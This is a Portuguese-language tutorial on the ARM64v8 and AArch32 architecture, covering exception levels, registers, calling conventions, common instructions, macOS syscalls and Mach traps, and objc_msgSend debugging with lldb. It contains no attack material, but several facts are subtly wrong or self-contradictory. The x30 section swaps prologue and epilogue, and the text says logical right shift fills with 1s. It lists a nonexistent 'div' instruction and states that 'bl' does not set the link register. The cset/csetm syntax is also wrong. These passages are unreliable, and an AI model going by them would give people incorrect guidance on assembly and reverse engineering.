# Introdução ao ARM64v8
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## **Níveis de Exceção - EL (ARM64v8)**
Na arquitetura ARMv8, os níveis de execução, conhecidos como Níveis de Exceção (ELs), definem o nível de privilégio e as capacidades do ambiente de execução. Existem quatro níveis de exceção, variando de EL0 a EL3, cada um servindo a um propósito diferente:
1. **EL0 - Modo de Usuário**:
* Este é o nível menos privilegiado e é usado para executar código de aplicativo regular.
* Aplicativos executando em EL0 são isolados uns dos outros e do software do sistema, aumentando a segurança e a estabilidade.
2. **EL1 - Modo do Kernel do Sistema Operacional**:
* A maioria dos kernels de sistemas operacionais opera neste nível.
* EL1 tem mais privilégios do que EL0 e pode acessar recursos do sistema, mas com algumas restrições para garantir a integridade do sistema.
3. **EL2 - Modo de Hypervisor**:
* Este nível é usado para virtualização. Um hypervisor executando em EL2 pode gerenciar múltiplos sistemas operacionais (cada um em seu próprio EL1) rodando no mesmo hardware físico.
* EL2 fornece recursos para isolamento e controle dos ambientes virtualizados.
4. **EL3 - Modo de Monitor Seguro**:
* Este é o nível mais privilegiado e é frequentemente usado para inicialização segura e ambientes de execução confiáveis.
* EL3 pode gerenciar e controlar acessos entre estados seguros e não seguros (como inicialização segura, OS confiável, etc.).
O uso desses níveis permite uma maneira estruturada e segura de gerenciar diferentes aspectos do sistema, desde aplicativos de usuário até o software do sistema mais privilegiado. A abordagem da ARMv8 em relação aos níveis de privilégio ajuda a isolar efetivamente diferentes componentes do sistema, aumentando assim a segurança e a robustez do sistema.
## **Registradores (ARM64v8)**
ARM64 possui **31 registradores de uso geral**, rotulados de `x0` a `x30`. Cada um pode armazenar um valor **64 bits** (8 bytes). Para operações que requerem apenas valores de 32 bits, os mesmos registradores podem ser acessados em um modo de 32 bits usando os nomes w0 a w30.
1. **`x0`** a **`x7`** - Estes são tipicamente usados como registradores temporários e para passar parâmetros para sub-rotinas.
* **`x0`** também carrega os dados de retorno de uma função.
2. **`x8`** - No kernel do Linux, `x8` é usado como o número da chamada de sistema para a instrução `svc`. **No macOS, o x16 é o que é usado!**
3. **`x9`** a **`x15`** - Mais registradores temporários, frequentemente usados para variáveis locais.
4. **`x16`** e **`x17`** - **Registradores de Chamada Intra-procedural**. Registradores temporários para valores imediatos. Eles também são usados para chamadas de função indiretas e stubs da PLT (Tabela de Ligação de Procedimentos).
* **`x16`** é usado como o **número da chamada de sistema** para a instrução **`svc`** no **macOS**.
5. **`x18`** - **Registrador de Plataforma**. Pode ser usado como um registrador de uso geral, mas em algumas plataformas, este registrador é reservado para usos específicos da plataforma: Ponteiro para o bloco de ambiente de thread local no Windows, ou para apontar para a estrutura de tarefa **executando atualmente no kernel do linux**.
6. **`x19`** a **`x28`** - Estes são registradores salvos pelo chamado. Uma função deve preservar os valores desses registradores para seu chamador, então eles são armazenados na pilha e recuperados antes de voltar para o chamador.
7. **`x29`** - **Ponteiro de Quadro** para acompanhar o quadro da pilha. Quando um novo quadro de pilha é criado porque uma função é chamada, o registrador **`x29`** é **armazenado na pilha** e o **novo** endereço do ponteiro de quadro é (**endereço `sp`**) **armazenado neste registrador**.
* Este registrador também pode ser usado como um **registrador de uso geral**, embora geralmente seja usado como referência para **variáveis locais**.
8. **`x30`** ou **`lr`** - **Registrador de Link**. Ele mantém o **endereço de retorno** quando uma instrução `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) é executada, armazenando o valor de **`pc`** neste registrador.
* Ele também pode ser usado como qualquer outro registrador.
* Se a função atual for chamar uma nova função e, portanto, sobrescrever `lr`, ela o armazenará na pilha no início, este é o epílogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Armazenar `fp` e `lr`, gerar espaço e obter novo `fp`) e recuperá-lo no final, este é o prólogo (`ldp x29, x30, [sp], #48; ret` -> Recuperar `fp` e `lr` e retornar).
9. **`sp`** - **Ponteiro de Pilha**, usado para acompanhar o topo da pilha.
* O valor de **`sp`** deve sempre ser mantido em pelo menos um **alinhamento de quadword** ou uma exceção de alinhamento pode ocorrer.
10. **`pc`** - **Contador de Programa**, que aponta para a próxima instrução. Este registrador só pode ser atualizado através de gerações de exceção, retornos de exceção e branches. As únicas instruções ordinárias que podem ler este registrador são instruções de branch com link (BL, BLR) para armazenar o endereço de **`pc`** em **`lr`** (Registrador de Link).
11. **`xzr`** - **Registrador Zero**. Também chamado de **`wzr`** em sua forma de registrador **32** bits. Pode ser usado para obter facilmente o valor zero (operação comum) ou para realizar comparações usando **`subs`** como **`subs XZR, Xn, #10`** armazenando os dados resultantes em nenhum lugar (em **`xzr`**).
Os registradores **`Wn`** são a versão **32 bits** do registrador **`Xn`**.
### Registradores SIMD e de Ponto Flutuante
Além disso, existem outros **32 registradores de 128 bits** que podem ser usados em operações otimizadas de múltiplos dados de instrução única (SIMD) e para realizar aritmética de ponto flutuante. Estes são chamados de registradores Vn, embora também possam operar em **64** bits, **32** bits, **16** bits e **8** bits e então são chamados de **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** e **`Bn`**.
### Registradores do Sistema
**Existem centenas de registradores do sistema**, também chamados de registradores de propósito especial (SPRs), usados para **monitorar** e **controlar** o comportamento dos **processadores**.\
Eles só podem ser lidos ou configurados usando as instruções especiais dedicadas **`mrs`** e **`msr`**.
Os registradores especiais **`TPIDR_EL0`** e **`TPIDDR_EL0`** são comumente encontrados ao realizar engenharia reversa. O sufixo `EL0` indica a **exceção mínima** a partir da qual o registrador pode ser acessado (neste caso, EL0 é o nível de exceção regular (privilégio) com o qual programas regulares são executados).\
Eles são frequentemente usados para armazenar o **endereço base da região de armazenamento local de thread** na memória. Geralmente, o primeiro é legível e gravável para programas executando em EL0, mas o segundo pode ser lido de EL0 e escrito de EL1 (como o kernel).
* `mrs x0, TPIDR_EL0 ; Ler TPIDR_EL0 em x0`
* `msr TPIDR_EL0, X0 ; Escrever x0 em TPIDR_EL0`
### **PSTATE**
**PSTATE** contém vários componentes do processo serializados no registrador especial visível pelo sistema operacional **`SPSR_ELx`**, sendo X o **nível de permissão** **da exceção acionada** (isso permite recuperar o estado do processo quando a exceção termina).\
Estes são os campos acessíveis:
* As **flags de condição `N`**, **`Z`**, **`C`** e **`V`**:
* **`N`** significa que a operação resultou em um resultado negativo.
* **`Z`** significa que a operação resultou em zero.
* **`C`** significa que a operação teve carry.
* **`V`** significa que a operação resultou em um overflow assinado:
* A soma de dois números positivos resulta em um número negativo.
* A soma de dois números negativos resulta em um número positivo.
* Na subtração, quando um número negativo grande é subtraído de um número positivo menor (ou vice-versa), e o resultado não pode ser representado dentro do intervalo do tamanho de bits dado.
* Obviamente, o processador não sabe se a operação é assinada ou não, então ele verificará C e V nas operações e indicará se ocorreu um carry no caso de ser assinado ou não assinado.
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Nem todas as instruções atualizam essas flags. Algumas como **`CMP`** ou **`TST`** fazem isso, e outras que têm um sufixo s como **`ADDS`** também o fazem.
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* A **flag de largura de registrador atual (`nRW`)**: Se a flag tiver o valor 0, o programa será executado no estado de execução AArch64 uma vez retomado.
* O **Nível de Exceção atual** (**`EL`**): Um programa regular executando em EL0 terá o valor 0.
* A **flag de passo único** (**`SS`**): Usada por depuradores para executar um passo único definindo a flag SS para 1 dentro de **`SPSR_ELx`** através de uma exceção. O programa executará um passo e emitirá uma exceção de passo único.
* A **flag de estado de exceção ilegal** (**`IL`**): É usada para marcar quando um software privilegiado realiza uma transferência de nível de exceção inválida, essa flag é definida como 1 e o processador aciona uma exceção de estado ilegal.
* As flags **`DAIF`**: Essas flags permitem que um programa privilegiado oculte seletivamente certas exceções externas.
* Se **`A`** for 1, significa que **aborts assíncronos** serão acionados. O **`I`** configura para responder a **Solicitações de Interrupção de Hardware** (IRQs). e o F está relacionado a **Solicitações de Interrupção Rápida** (FIRs).
* As flags de seleção de ponteiro de pilha (**`SPS`**): Programas privilegiados executando em EL1 e acima podem alternar entre usar seu próprio registrador de ponteiro de pilha e o de modelo de usuário (por exemplo, entre `SP_EL1` e `EL0`). Essa troca é realizada escrevendo no registrador especial **`SPSel`**. Isso não pode ser feito a partir de EL0.
## **Convenção de Chamada (ARM64v8)**
A convenção de chamada ARM64 especifica que os **primeiros oito parâmetros** para uma função são passados em registradores **`x0` a `x7`**. **Parâmetros adicionais** são passados na **pilha**. O **valor de retorno** é passado de volta no registrador **`x0`**, ou em **`x1`** também **se for longo de 128 bits**. Os registradores **`x19`** a **`x30`** e **`sp`** devem ser **preservados** entre chamadas de função.
Ao ler uma função em assembly, procure o **prólogo e epílogo da função**. O **prólogo** geralmente envolve **salvar o ponteiro de quadro (`x29`)**, **configurar** um **novo ponteiro de quadro**, e **alocar espaço na pilha**. O **epílogo** geralmente envolve **restaurar o ponteiro de quadro salvo** e **retornar** da função.
### Convenção de Chamada em Swift
Swift tem sua própria **convenção de chamada** que pode ser encontrada em [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
## **Instruções Comuns (ARM64v8)**
As instruções ARM64 geralmente têm o **formato `opcode dst, src1, src2`**, onde **`opcode`** é a **operação** a ser realizada (como `add`, `sub`, `mov`, etc.), **`dst`** é o **registrador de destino** onde o resultado será armazenado, e **`src1`** e **`src2`** são os **registradores de origem**. Valores imediatos também podem ser usados no lugar de registradores de origem.
* **`mov`**: **Mover** um valor de um **registrador** para outro.
* Exemplo: `mov x0, x1` — Isso move o valor de `x1` para `x0`.
* **`ldr`**: **Carregar** um valor da **memória** para um **registrador**.
* Exemplo: `ldr x0, [x1]` — Isso carrega um valor da localização de memória apontada por `x1` para `x0`.
* **Modo de deslocamento**: Um deslocamento que afeta o ponteiro de origem é indicado, por exemplo:
* `ldr x2, [x1, #8]`, isso carregará em x2 o valor de x1 + 8.
* `ldr x2, [x0, x1, lsl #2]`, isso carregará em x2 um objeto do array x0, da posição x1 (índice) \* 4.
* **Modo pré-indexado**: Isso aplicará cálculos à origem, obterá o resultado e também armazenará a nova origem na origem.
* `ldr x2, [x1, #8]!`, isso carregará `x1 + 8` em `x2` e armazenará em x1 o resultado de `x1 + 8`.
* `str lr, [sp, #-4]!`, Armazena o registrador de link em sp e atualiza o registrador sp.
* **Modo pós-indexado**: Isso é como o anterior, mas o endereço de memória é acessado e então o deslocamento é calculado e armazenado.
* `ldr x0, [x1], #8`, carrega `x1` em `x0` e atualiza x1 com `x1 + 8`.
* **Endereçamento relativo ao PC**: Neste caso, o endereço a ser carregado é calculado em relação ao registrador PC.
* `ldr x1, =_start`, Isso carregará o endereço onde o símbolo `_start` começa em x1 relacionado ao PC atual.
* **`str`**: **Armazenar** um valor de um **registrador** na **memória**.
* Exemplo: `str x0, [x1]` — Isso armazena o valor em `x0` na localização de memória apontada por `x1`.
* **`ldp`**: **Carregar Par de Registradores**. Esta instrução **carrega dois registradores** de **localizações de memória** consecutivas. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor em outro registrador.
* Exemplo: `ldp x0, x1, [x2]` — Isso carrega `x0` e `x1` das localizações de memória em `x2` e `x2 + 8`, respectivamente.
* **`stp`**: **Armazenar Par de Registradores**. Esta instrução **armazena dois registradores** em **localizações de memória** consecutivas. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor em outro registrador.
* Exemplo: `stp x0, x1, [sp]` — Isso armazena `x0` e `x1` nas localizações de memória em `sp` e `sp + 8`, respectivamente.
* `stp x0, x1, [sp, #16]!` — Isso armazena `x0` e `x1` nas localizações de memória em `sp+16` e `sp + 24`, respectivamente, e atualiza `sp` com `sp+16`.
* **`add`**: **Adicionar** os valores de dois registradores e armazenar o resultado em um registrador.
* Sintaxe: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
* Xn1 -> Destino
* Xn2 -> Operando 1
* Xn3 | #imm -> Operando 2 (registrador ou imediato)
* \[shift #N | RRX] -> Realizar um deslocamento ou chamar RRX.
* Exemplo: `add x0, x1, x2` — Isso adiciona os valores em `x1` e `x2` e armazena o resultado em `x0`.
* `add x5, x5, #1, lsl #12` — Isso é igual a 4096 (um 1 deslocado 12 vezes) -> 1 0000 0000 0000 0000.
* **`adds`** Isso realiza um `add` e atualiza as flags.
* **`sub`**: **Subtrair** os valores de dois registradores e armazenar o resultado em um registrador.
* Verifique a **sintaxe de `add`**.
* Exemplo: `sub x0, x1, x2` — Isso subtrai o valor em `x2` de `x1` e armazena o resultado em `x0`.
* **`subs`** Isso é como sub, mas atualiza a flag.
* **`mul`**: **Multiplicar** os valores de **dois registradores** e armazenar o resultado em um registrador.
* Exemplo: `mul x0, x1, x2` — Isso multiplica os valores em `x1` e `x2` e armazena o resultado em `x0`.
* **`div`**: **Dividir** o valor de um registrador por outro e armazenar o resultado em um registrador.
* Exemplo: `div x0, x1, x2` — Isso divide o valor em `x1` por `x2` e armazena o resultado em `x0`.
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
* **Deslocamento lógico à esquerda**: Adiciona 0s do final movendo os outros bits para frente (multiplica por n vezes 2).
* **Deslocamento lógico à direita**: Adiciona 1s no início movendo os outros bits para trás (divide por n vezes 2 em não assinado).
* **Deslocamento aritmético à direita**: Como **`lsr`**, mas em vez de adicionar 0s, se o bit mais significativo for 1, **1s são adicionados** (divide por n vezes 2 em assinado).
* **Rotacionar à direita**: Como **`lsr`**, mas o que for removido da direita é anexado à esquerda.
* **Rotacionar à direita com extensão**: Como **`ror`**, mas com a flag de carry como o "bit mais significativo". Assim, a flag de carry é movida para o bit 31 e o bit removido para a flag de carry.
* **`bfm`**: **Movimento de Campo de Bits**, essas operações **copiam bits `0...n`** de um valor e os colocam em posições **`m..m+n`**. O **`#s`** especifica a **posição do bit mais à esquerda** e **`#r`** a **quantidade de rotação à direita**.
* Movimento de campo de bits: `BFM Xd, Xn, #r`.
* Movimento de campo de bits assinado: `SBFM Xd, Xn, #r, #s`.
* Movimento de campo de bits não assinado: `UBFM Xd, Xn, #r, #s`.
* **Extração e Inserção de Campo de Bits:** Copia um campo de bits de um registrador e o copia para outro registrador.
* **`BFI X1, X2, #3, #4`** Insere 4 bits de X2 a partir do 3º bit de X1.
* **`BFXIL X1, X2, #3, #4`** Extrai do 3º bit de X2 quatro bits e os copia para X1.
* **`SBFIZ X1, X2, #3, #4`** Estende o sinal de 4 bits de X2 e os insere em X1 começando na posição do bit 3 zerando os bits à direita.
* **`SBFX X1, X2, #3, #4`** Extrai 4 bits começando no bit 3 de X2, estende o sinal e coloca o resultado em X1.
* **`UBFIZ X1, X2, #3, #4`** Estende 4 bits de X2 e os insere em X1 começando na posição do bit 3 zerando os bits à direita.
* **`UBFX X1, X2, #3, #4`** Extrai 4 bits começando no bit 3 de X2 e coloca o resultado estendido a zero em X1.
* **Extensão de Sinal para X:** Estende o sinal (ou adiciona apenas 0s na versão não assinada) de um valor para poder realizar operações com ele:
* **`SXTB X1, W2`** Estende o sinal de um byte **de W2 para X1** (`W2` é metade de `X2`) para preencher os 64 bits.
* **`SXTH X1, W2`** Estende o sinal de um número de 16 bits **de W2 para X1** para preencher os 64 bits.
* **`SXTW X1, W2`** Estende o sinal de um byte **de W2 para X1** para preencher os 64 bits.
* **`UXTB X1, W2`** Adiciona 0s (não assinado) a um byte **de W2 para X1** para preencher os 64 bits.
* **`extr`:** Extrai bits de um **par de registradores especificados concatenados**.
* Exemplo: `EXTR W3, W2, W1, #3` Isso irá **concatenar W1+W2** e obter **do bit 3 de W2 até o bit 3 de W1** e armazená-lo em W3.
* **`cmp`**: **Comparar** dois registradores e definir flags de condição. É um **alias de `subs`** definindo o registrador de destino como o registrador zero. Útil para saber se `m == n`.
* Suporta a **mesma sintaxe que `subs`**.
* Exemplo: `cmp x0, x1` — Isso compara os valores em `x0` e `x1` e define as flags de condição de acordo.
* **`cmn`**: **Comparar o operando negativo**. Neste caso, é um **alias de `adds`** e suporta a mesma sintaxe. Útil para saber se `m == -n`.
* **`ccmp`**: Comparação condicional, é uma comparação que será realizada apenas se uma comparação anterior foi verdadeira e definirá especificamente os bits nzcv.
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> se x1 != x2 e x3 < x4, salte para func.
* Isso ocorre porque **`ccmp`** só será executado se a **comparação anterior `cmp` foi um `NE`**, se não foi, os bits `nzcv` serão definidos como 0 (o que não satisfará a comparação `blt`).
* Isso também pode ser usado como `ccmn` (o mesmo, mas negativo, como `cmp` vs `cmn`).
* **`tst`**: Verifica se algum dos valores da comparação é 1 (funciona como um ANDS sem armazenar o resultado em nenhum lugar). É útil para verificar um registrador com um valor e verificar se algum dos bits do registrador indicado no valor é 1.
* Exemplo: `tst X1, #7` Verifica se algum dos últimos 3 bits de X1 é 1.
* **`teq`**: Operação XOR descartando o resultado.
* **`b`**: Branch incondicional.
* Exemplo: `b myFunction`.
* Note que isso não preencherá o registrador de link com o endereço de retorno (não é adequado para chamadas de sub-rotina que precisam retornar).
* **`bl`**: **Branch** com link, usado para **chamar** uma **sub-rotina**. Armazena o **endereço de retorno em `x30`**.
* Exemplo: `bl myFunction` — Isso chama a função `myFunction` e armazena o endereço de retorno em `x30`.
* Note que isso não preencherá o registrador de link com o endereço de retorno (não é adequado para chamadas de sub-rotina que precisam retornar).
* **`blr`**: **Branch** com Link para Registrador, usado para **chamar** uma **sub-rotina** onde o alvo é **especificado** em um **registrador**. Armazena o endereço de retorno em `x30`. (Isso é
* Exemplo: `blr x1` — Isso chama a função cujo endereço está contido em `x1` e armazena o endereço de retorno em `x30`.
* **`ret`**: **Retornar** da **sub-rotina**, normalmente usando o endereço em **`x30`**.
* Exemplo: `ret` — Isso retorna da sub-rotina atual usando o endereço de retorno em `x30`.
* **`b.`**: Branches condicionais.
* **`b.eq`**: **Branch se igual**, com base na instrução `cmp` anterior.
* Exemplo: `b.eq label` — Se a instrução `cmp` anterior encontrou dois valores iguais, isso salta para `label`.
* **`b.ne`**: **Branch se Não Igual**. Esta instrução verifica as flags de condição (que foram definidas por uma instrução de comparação anterior), e se os valores comparados não forem iguais, ela faz um branch para um rótulo ou endereço.
* Exemplo: Após uma instrução `cmp x0, x1`, `b.ne label` — Se os valores em `x0` e `x1` não forem iguais, isso salta para `label`.
* **`cbz`**: **Comparar e Branch em Zero**. Esta instrução compara um registrador com zero, e se forem iguais, faz um branch para um rótulo ou endereço.
* Exemplo: `cbz x0, label` — Se o valor em `x0` for zero, isso salta para `label`.
* **`cbnz`**: **Comparar e Branch em Não Zero**. Esta instrução compara um registrador com zero, e se não forem iguais, faz um branch para um rótulo ou endereço.
* Exemplo: `cbnz x0, label` — Se o valor em `x0` for não zero, isso salta para `label`.
* **`tbnz`**: Testa o bit e faz branch em não zero.
* Exemplo: `tbnz x0, #8, label`.
* **`tbz`**: Testa o bit e faz branch em zero.
* Exemplo: `tbz x0, #8, label`.
* **Operações de seleção condicional**: Estas são operações cujo comportamento varia dependendo dos bits condicionais.
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Se verdadeiro, X0 = X1, se falso, X0 = X2.
* `csinc Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = Xn, se falso, Xd = Xm + 1.
* `cinc Xd, Xn, cond` -> Se verdadeiro, Xd = Xn + 1, se falso, Xd = Xn.
* `csinv Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = Xn, se falso, Xd = NOT(Xm).
* `cinv Xd, Xn, cond` -> Se verdadeiro, Xd = NOT(Xn), se falso, Xd = Xn.
* `csneg Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = Xn, se falso, Xd = - Xm.
* `cneg Xd, Xn, cond` -> Se verdadeiro, Xd = - Xn, se falso, Xd = Xn.
* `cset Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = 1, se falso, Xd = 0.
* `csetm Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = \, se falso, Xd = 0.
* **`adrp`**: Calcula o **endereço da página de um símbolo** e o armazena em um registrador.
* Exemplo: `adrp x0, symbol` — Isso calcula o endereço da página de `symbol` e o armazena em `x0`.
* **`ldrsw`**: **Carregar** um valor **32 bits** assinado da memória e **estendê-lo para 64** bits.
* Exemplo: `ldrsw x0, [x1]` — Isso carrega um valor assinado de 32 bits da localização de memória apontada por `x1`, estende-o para 64 bits e o armazena em `x0`.
* **`stur`**: **Armazenar um valor de registrador em uma localização de memória**, usando um deslocamento de outro registrador.
* Exemplo: `stur x0, [x1, #4]` — Isso armazena o valor em `x0` na localização de memória que é 4 bytes maior do que o endereço atualmente em `x1`.
* **`svc`** : Faz uma **chamada de sistema**. Significa "Supervisor Call". Quando o processador executa esta instrução, ele **muda do modo de usuário para o modo de kernel** e salta para um local específico na memória onde o **código de manipulação de chamadas de sistema do kernel** está localizado.
* Exemplo:
```armasm
mov x8, 93 ; Carrega o número da chamada de sistema para sair (93) no registrador x8.
mov x0, 0 ; Carrega o código de status de saída (0) no registrador x0.
svc 0 ; Faz a chamada de sistema.
```
### **Prólogo da Função**
1. **Salvar o registrador de link e o ponteiro de quadro na pilha**:
```armasm
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
```
{% endcode %}
2. **Configurar o novo ponteiro de quadro**: `mov x29, sp` (configura o novo ponteiro de quadro para a função atual)
3. **Alocar espaço na pilha para variáveis locais** (se necessário): `sub sp, sp, ` (onde `` é o número de bytes necessários)
### **Epilogo da Função**
1. **Desalocar variáveis locais (se alguma foi alocada)**: `add sp, sp, `
2. **Restaurar o registrador de link e o ponteiro de quadro**:
{% code overflow="wrap" %}
```armasm
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
```
{% endcode %}
3. **Retorno**: `ret` (retorna o controle para o chamador usando o endereço no registrador de link)
## Estado de Execução AARCH32
Armv8-A suporta a execução de programas de 32 bits. **AArch32** pode operar em um dos **dois conjuntos de instruções**: **`A32`** e **`T32`** e pode alternar entre eles via **`interworking`**.\
Programas **privilegiados** de 64 bits podem agendar a **execução de programas de 32 bits** executando uma transferência de nível de exceção para o nível de privilégio inferior de 32 bits.\
Note que a transição de 64 bits para 32 bits ocorre com uma redução do nível de exceção (por exemplo, um programa de 64 bits em EL1 acionando um programa em EL0). Isso é feito configurando o **bit 4 de** **`SPSR_ELx`** registro especial **para 1** quando o thread do processo `AArch32` está pronto para ser executado e o restante de `SPSR_ELx` armazena o **`AArch32`** CPSR. Em seguida, o processo privilegiado chama a instrução **`ERET`** para que o processador transite para **`AArch32`** entrando em A32 ou T32 dependendo do CPSR\*\*.\*\*
O **`interworking`** ocorre usando os bits J e T do CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Isso basicamente se traduz em definir o **bit mais baixo como 1** para indicar que o conjunto de instruções é T32.\
Isso é configurado durante as **instruções de ramificação interworking**, mas também pode ser configurado diretamente com outras instruções quando o PC é definido como o registrador de destino. Exemplo:
Outro exemplo:
```armasm
_start:
.code 32 ; Begin using A32
add r4, pc, #1 ; Here PC is already pointing to "mov r0, #0"
bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
.code 16:
mov r0, #0
mov r0, #8
```
### Registradores
Existem 16 registradores de 32 bits (r0-r15). **De r0 a r14** eles podem ser usados para **qualquer operação**, no entanto, alguns deles geralmente são reservados:
* **`r15`**: Contador de programa (sempre). Contém o endereço da próxima instrução. Em A32 atual + 8, em T32, atual + 4.
* **`r11`**: Ponteiro de quadro
* **`r12`**: Registrador de chamada intra-processual
* **`r13`**: Ponteiro de pilha
* **`r14`**: Registrador de link
Além disso, os registradores são salvos em **`registros bancados`**. Que são lugares que armazenam os valores dos registradores permitindo realizar **trocas de contexto rápidas** no tratamento de exceções e operações privilegiadas para evitar a necessidade de salvar e restaurar registradores manualmente toda vez.\
Isso é feito **salvando o estado do processador do `CPSR` para o `SPSR`** do modo do processador ao qual a exceção é gerada. Ao retornar da exceção, o **`CPSR`** é restaurado do **`SPSR`**.
### CPSR - Registro de Status do Programa Atual
Em AArch32, o CPSR funciona de forma semelhante ao **`PSTATE`** em AArch64 e também é armazenado em **`SPSR_ELx`** quando uma exceção é gerada para restaurar a execução posteriormente:
Os campos são divididos em alguns grupos:
* Registro de Status do Programa de Aplicação (APSR): Flags aritméticas e acessíveis a partir do EL0
* Registradores de Estado de Execução: Comportamento do processo (gerenciado pelo SO).
#### Registro de Status do Programa de Aplicação (APSR)
* As flags **`N`**, **`Z`**, **`C`**, **`V`** (assim como em AArch64)
* A flag **`Q`**: É definida como 1 sempre que **ocorre saturação inteira** durante a execução de uma instrução aritmética de saturação especializada. Uma vez definida como **`1`**, manterá o valor até que seja manualmente definida como 0. Além disso, não há nenhuma instrução que verifique seu valor implicitamente, deve ser feito lendo-o manualmente.
* Flags **`GE`** (Maior ou igual): É usada em operações SIMD (Instrução Única, Múltiplos Dados), como "adição paralela" e "subtração paralela". Essas operações permitem processar múltiplos pontos de dados em uma única instrução.
Por exemplo, a instrução **`UADD8`** **adiciona quatro pares de bytes** (de dois operandos de 32 bits) em paralelo e armazena os resultados em um registrador de 32 bits. Em seguida, **define as flags `GE` no `APSR`** com base nesses resultados. Cada flag GE corresponde a uma das adições de bytes, indicando se a adição para aquele par de bytes **transbordou**.
A instrução **`SEL`** usa essas flags GE para realizar ações condicionais.
#### Registradores de Estado de Execução
* Os bits **`J`** e **`T`**: **`J`** deve ser 0 e se **`T`** for 0, o conjunto de instruções A32 é usado, e se for 1, o T32 é usado.
* **Registro de Estado do Bloco IT** (`ITSTATE`): Esses são os bits de 10-15 e 25-26. Eles armazenam condições para instruções dentro de um grupo prefixado por **`IT`**.
* Bit **`E`**: Indica a **endianness**.
* **Bits de Modo e Máscara de Exceção** (0-4): Eles determinam o estado de execução atual. O **5º** indica se o programa está sendo executado como 32 bits (um 1) ou 64 bits (um 0). Os outros 4 representam o **modo de exceção atualmente em uso** (quando uma exceção ocorre e está sendo tratada). O número definido **indica a prioridade atual** caso outra exceção seja acionada enquanto esta está sendo tratada.
* **`AIF`**: Certas exceções podem ser desativadas usando os bits **`A`**, `I`, `F`. Se **`A`** for 1, significa que **aborts assíncronos** serão acionados. O **`I`** configura para responder a **Solicitações de Interrupção** de hardware externo (IRQs). e o F está relacionado a **Solicitações de Interrupção Rápida** (FIRs).
## macOS
### Chamadas de sistema BSD
Confira [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). As chamadas de sistema BSD terão **x16 > 0**.
### Armadilhas Mach
Confira em [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) a `mach_trap_table` e em [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) os protótipos. O número máximo de armadilhas Mach é `MACH_TRAP_TABLE_COUNT` = 128. As armadilhas Mach terão **x16 < 0**, então você precisa chamar os números da lista anterior com um **menos**: **`_kernelrpc_mach_vm_allocate_trap`** é **`-10`**.
Você também pode verificar **`libsystem_kernel.dylib`** em um desassemblador para encontrar como chamar essas (e BSD) chamadas de sistema:
{% code overflow="wrap" %}
```bash
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
```
{% endcode %}
Note que **Ida** e **Ghidra** também podem descompilar **dylibs específicas** do cache apenas passando pelo cache.
{% hint style="success" %}
Às vezes, é mais fácil verificar o código **descompilado** de **`libsystem_kernel.dylib`** **do que** verificar o **código-fonte** porque o código de várias syscalls (BSD e Mach) é gerado via scripts (ver comentários no código-fonte), enquanto na dylib você pode encontrar o que está sendo chamado.
{% endhint %}
### chamadas machdep
XNU suporta outro tipo de chamadas chamadas dependentes de máquina. Os números dessas chamadas dependem da arquitetura e nem as chamadas nem os números são garantidos para permanecer constantes.
### página de comunicação
Esta é uma página de memória de propriedade do kernel que está mapeada no espaço de endereços de cada processo de usuário. É destinada a tornar a transição do modo usuário para o espaço do kernel mais rápida do que usar syscalls para serviços do kernel que são usados tanto que essa transição seria muito ineficiente.
Por exemplo, a chamada `gettimeofdate` lê o valor de `timeval` diretamente da página de comunicação.
### objc\_msgSend
É super comum encontrar esta função usada em programas Objective-C ou Swift. Esta função permite chamar um método de um objeto Objective-C.
Parâmetros ([mais informações na documentação](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
* x0: self -> Ponteiro para a instância
* x1: op -> Seletor do método
* x2... -> Restante dos argumentos do método invocado
Então, se você colocar um breakpoint antes do ramo para esta função, pode facilmente encontrar o que está sendo invocado no lldb com (neste exemplo, o objeto chama um objeto de `NSConcreteTask` que irá executar um comando):
```bash
# Right in the line were objc_msgSend will be called
(lldb) po $x0
(lldb) x/s $x1
0x1736d3a6e: "launch"
(lldb) po [$x0 launchPath]
/bin/sh
(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)
```
{% hint style="success" %}
Definindo a variável de ambiente **`NSObjCMessageLoggingEnabled=1`** é possível registrar quando essa função é chamada em um arquivo como `/tmp/msgSends-pid`.
Além disso, definindo **`OBJC_HELP=1`** e chamando qualquer binário, você pode ver outras variáveis de ambiente que poderia usar para **logar** quando certas ações Objc-C ocorrem.
{% endhint %}
Quando essa função é chamada, é necessário encontrar o método chamado da instância indicada, para isso, diferentes buscas são feitas:
* Realizar busca otimista no cache:
* Se bem-sucedido, feito
* Adquirir runtimeLock (leitura)
* Se (realizar && !cls->realized) realizar classe
* Se (inicializar && !cls->initialized) inicializar classe
* Tentar cache próprio da classe:
* Se bem-sucedido, feito
* Tentar lista de métodos da classe:
* Se encontrado, preencher cache e feito
* Tentar cache da superclasse:
* Se bem-sucedido, feito
